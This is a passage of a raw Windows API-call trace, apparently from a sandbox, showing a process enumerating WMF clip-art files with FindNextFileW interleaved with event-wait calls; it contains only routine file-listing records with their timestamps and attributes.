ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe67776a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe67776a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x21e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105600.WMF", cAlternateFileName="")) returned 1 [0260.409] ResetEvent (hEvent=0x2b8) returned 1 [0260.409] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0261.355] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe67776a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe67776a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe67776a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x287c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105638.WMF", cAlternateFileName="")) returned 1 [0261.355] ResetEvent (hEvent=0x2b8) returned 1 [0261.355] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0261.381] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe67776a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe67776a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe67776a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x35f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105710.WMF", cAlternateFileName="")) returned 1 [0261.382] ResetEvent (hEvent=0x2b8) returned 1 [0261.382] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0261.400] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe67776a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe67776a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe67776a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2030, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105846.WMF", cAlternateFileName="")) returned 1 [0261.400] ResetEvent (hEvent=0x2b8) returned 1 [0261.401] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0261.585] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe67776a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe67776a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe67776a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2dc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105912.WMF", cAlternateFileName="")) returned 1 [0261.585] ResetEvent (hEvent=0x2b8) returned 1 [0261.585] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0261.596] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe67776a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe67776a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe67776a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1204, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105974.WMF", cAlternateFileName="")) returned 1 [0261.597] ResetEvent (hEvent=0x2b8) returned 1 [0261.597] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0261.623] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe67776a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe67776a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe67776a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x274c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0106020.WMF", cAlternateFileName="")) returned 1 [0261.623] ResetEvent (hEvent=0x2b8) returned 1 [0261.624] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0262.492] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe67776a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe67776a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe67776a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x16b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0106124.WMF", cAlternateFileName="")) returned 1 [0262.493] ResetEvent (hEvent=0x2b8) returned 1 [0262.493] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0262.514] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe67776a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe67776a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe67776a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5bfc, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0106146.WMF", cAlternateFileName="")) returned 1 [0262.514] ResetEvent (hEvent=0x2b8) returned 1 [0262.514] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0262.528] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe69d9e5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe69d9e5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe69d9e5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2e7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0106208.WMF", cAlternateFileName="")) returned 1 [0262.529] ResetEvent (hEvent=0x2b8) returned 1 [0262.529] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0262.702] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe69d9e5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe69d9e5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe69d9e5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4c90, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0106222.WMF", cAlternateFileName="")) returned 1 [0262.702] ResetEvent (hEvent=0x2b8) returned 1 [0262.702] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0262.739] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe69d9e5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe69d9e5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe69d9e5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x864, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0106572.WMF", cAlternateFileName="")) returned 1 [0262.739] ResetEvent (hEvent=0x2b8) returned 1 [0262.739] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0262.745] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe69d9e5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe69d9e5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe69d9e5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd04, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0106816.WMF", cAlternateFileName="")) returned 1 [0262.746] ResetEvent (hEvent=0x2b8) returned 1 [0262.746] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0262.842] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe69d9e5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe69d9e5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe69d9e5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x35d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0106958.WMF", cAlternateFileName="")) returned 1 [0262.842] ResetEvent (hEvent=0x2b8) returned 1 [0262.843] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0263.186] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe67776a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe67776a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe69d9e5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xbcc, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107024.WMF", cAlternateFileName="")) returned 1 [0263.187] ResetEvent (hEvent=0x2b8) returned 1 [0263.187] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0263.576] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe69d9e5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe69d9e5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe69d9e5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1dd0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107026.WMF", cAlternateFileName="")) returned 1 [0263.576] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe69d9e5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe69d9e5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe69d9e5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2358, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107042.WMF", cAlternateFileName="")) returned 1 [0263.576] ResetEvent (hEvent=0x2b8) returned 1 [0263.576] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0263.589] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe67776a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe67776a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe69d9e5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3734, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107090.WMF", cAlternateFileName="")) returned 1 [0263.589] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe67776a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe67776a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe69d9e5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x69cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107130.WMF", cAlternateFileName="")) returned 1 [0263.589] ResetEvent (hEvent=0x2b8) returned 1 [0263.589] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0263.722] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe69d9e5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe69d9e5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe6c3c1e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xbcfc, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107132.WMF", cAlternateFileName="")) returned 1 [0263.722] ResetEvent (hEvent=0x2b8) returned 1 [0263.722] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0263.737] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe69d9e5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe69d9e5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe6c3c1e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xbd04, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107134.WMF", cAlternateFileName="")) returned 1 [0263.738] ResetEvent (hEvent=0x2b8) returned 1 [0263.738] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0263.743] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe69d9e5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe69d9e5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe6c3c1e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4330, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107138.WMF", cAlternateFileName="")) returned 1 [0263.743] ResetEvent (hEvent=0x2b8) returned 1 [0263.743] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0263.749] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe69d9e5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe69d9e5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe69d9e5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3a94, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107146.WMF", cAlternateFileName="")) returned 1 [0263.749] ResetEvent (hEvent=0x2b8) returned 1 [0263.749] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0263.840] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe69d9e5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe69d9e5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe69d9e5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4ea8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107148.WMF", cAlternateFileName="")) returned 1 [0263.841] ResetEvent (hEvent=0x2b8) returned 1 [0263.841] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0263.948] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe69d9e5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe69d9e5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe69d9e5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3490, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107150.WMF", cAlternateFileName="")) returned 1 [0263.948] ResetEvent (hEvent=0x2b8) returned 1 [0263.948] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0263.958] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe69d9e5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe69d9e5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe69d9e5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5804, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107152.WMF", cAlternateFileName="")) returned 1 [0263.958] ResetEvent (hEvent=0x2b8) returned 1 [0263.958] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0263.975] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe69d9e5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe69d9e5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe69d9e5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x571c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107154.WMF", cAlternateFileName="")) returned 1 [0263.975] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe69d9e5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe69d9e5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe69d9e5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x614c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107158.WMF", cAlternateFileName="")) returned 1 [0263.975] ResetEvent (hEvent=0x2b8) returned 1 [0263.975] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0264.025] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe69d9e5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe69d9e5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe69d9e5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3ee4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107182.WMF", cAlternateFileName="")) returned 1 [0264.025] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe6c3c1e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe6c3c1e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe6c3c1e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x11b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107188.WMF", cAlternateFileName="")) returned 1 [0264.025] ResetEvent (hEvent=0x2b8) returned 1 [0264.025] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0264.038] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe6c3c1e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe6c3c1e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe6c3c1e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x26f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107192.WMF", cAlternateFileName="")) returned 1 [0264.038] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe6c3c1e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe6c3c1e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe6c3c1e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4ef4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107254.WMF", cAlternateFileName="")) returned 1 [0264.038] ResetEvent (hEvent=0x2b8) returned 1 [0264.038] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0264.095] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe6c3c1e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe6c3c1e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe6c3c1e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2168, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107258.WMF", cAlternateFileName="")) returned 1 [0264.095] ResetEvent (hEvent=0x2b8) returned 1 [0264.095] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0264.111] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe6c3c1e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe6c3c1e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe6c3c1e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1f3c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107262.WMF", cAlternateFileName="")) returned 1 [0264.111] ResetEvent (hEvent=0x2b8) returned 1 [0264.111] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0264.308] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe69d9e5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe69d9e5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe6c3c1e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1498, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107264.WMF", cAlternateFileName="")) returned 1 [0264.308] ResetEvent (hEvent=0x2b8) returned 1 [0264.308] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0264.317] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe6c3c1e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe6c3c1e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe6c3c1e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x16ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107266.WMF", cAlternateFileName="")) returned 1 [0264.317] ResetEvent (hEvent=0x2b8) returned 1 [0264.317] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0264.399] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe6c3c1e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe6c3c1e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe6c3c1e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2b64, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107280.WMF", cAlternateFileName="")) returned 1 [0264.399] ResetEvent (hEvent=0x2b8) returned 1 [0264.399] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0264.404] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe6c3c1e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe6c3c1e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe6c3c1e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3734, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107282.WMF", cAlternateFileName="")) returned 1 [0264.405] ResetEvent (hEvent=0x2b8) returned 1 [0264.405] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0264.423] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe69d9e5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe69d9e5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe6c3c1e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, 